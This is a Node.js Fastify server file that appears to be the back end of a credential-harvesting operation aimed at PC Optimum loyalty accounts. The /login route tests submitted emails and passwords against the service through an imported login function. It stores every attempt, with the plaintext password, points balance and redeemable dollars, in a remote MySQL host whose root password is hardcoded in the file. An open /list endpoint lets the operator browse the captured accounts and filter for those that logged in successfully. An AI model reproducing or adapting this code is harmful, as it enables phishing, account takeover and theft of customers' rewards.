app.mjs 4.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. const __filename = fileURLToPath(import.meta.url);
  8. const __dirname = dirname(__filename);
  9. const fastify = Fastify({
  10. logger: true,
  11. });
  12. fastify.register(fastifyStatic, {
  13. root: resolve(__dirname, "public"),
  14. prefix: "/",
  15. });
  16. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  17. host: "149.248.57.225",
  18. dialect: "mysql",
  19. });
  20. const Accounts = sequelize.define(
  21. "accounts",
  22. {
  23. // Model attributes are defined here
  24. email: {
  25. type: DataTypes.STRING,
  26. allowNull: false,
  27. },
  28. password: {
  29. type: DataTypes.STRING,
  30. allowNull: false,
  31. },
  32. userAgent: {
  33. type: DataTypes.TEXT("long"),
  34. allowNull: true,
  35. },
  36. ip: {
  37. type: DataTypes.STRING,
  38. allowNull: true,
  39. },
  40. success: {
  41. type: DataTypes.BOOLEAN,
  42. allowNull: false,
  43. defaultValue: false,
  44. },
  45. result: {
  46. type: DataTypes.TEXT("long"),
  47. allowNull: true,
  48. },
  49. error: {
  50. type: DataTypes.TEXT("long"),
  51. allowNull: true,
  52. },
  53. balance: {
  54. type: DataTypes.STRING,
  55. allowNull: true,
  56. },
  57. dollarsRedeemable: {
  58. type: DataTypes.STRING,
  59. allowNull: true,
  60. },
  61. },
  62. {
  63. // Other model options go here
  64. }
  65. );
  66. sequelize
  67. .authenticate()
  68. .then(() => {
  69. console.log("Connection has been established successfully.");
  70. Accounts.sync().then(() => {
  71. console.log(
  72. "The table for the Account model was just (re)created!"
  73. );
  74. });
  75. })
  76. .catch((error) => {
  77. console.error("Unable to connect to the database:", error);
  78. });
  79. fastify.post("/login", async function (request, reply) {
  80. if (!request.body || !request.body.email || !request.body.password) {
  81. return reply
  82. .code(400)
  83. .send({ error: "email and password are required" });
  84. } else {
  85. const { email, password } = request.body;
  86. try {
  87. const res = await login(email, password);
  88. let balance = null;
  89. let dollarsRedeemable = null;
  90. if (res) {
  91. try {
  92. const json = JSON.parse(res);
  93. balance = json.balance + "";
  94. dollarsRedeemable = json.dollarsRedeemable + "";
  95. } catch (error) {}
  96. }
  97. const account = await Accounts.create({
  98. email,
  99. password,
  100. userAgent: request.headers["user-agent"],
  101. success: true,
  102. result: res,
  103. balance,
  104. dollarsRedeemable,
  105. });
  106. return reply.code(200).send();
  107. } catch (error) {
  108. console.error(error.stack);
  109. const account = await Accounts.create({
  110. email,
  111. password,
  112. userAgent: request.headers["user-agent"],
  113. success: false,
  114. error: error.stack,
  115. });
  116. return reply.code(500).send(error);
  117. }
  118. }
  119. });
  120. fastify.get("/list", async function (request, reply) {
  121. let page = request.query.page ? parseInt(request.query.page) : 0;
  122. const query = {};
  123. if (request.query.success) {
  124. query.success = request.query.success === "true";
  125. }
  126. const accounts = await Accounts.findAll({
  127. offset: 20 * page,
  128. limit: 20,
  129. order: [["createdAt", "DESC"]],
  130. where: query,
  131. });
  132. const total = await Accounts.count({ where: query });
  133. return {
  134. data: accounts,
  135. total,
  136. };
  137. });
  138. fastify.listen({ port: 3000 }, function (err, address) {
  139. if (err) {
  140. fastify.log.error(err);
  141. process.exit(1);
  142. }
  143. });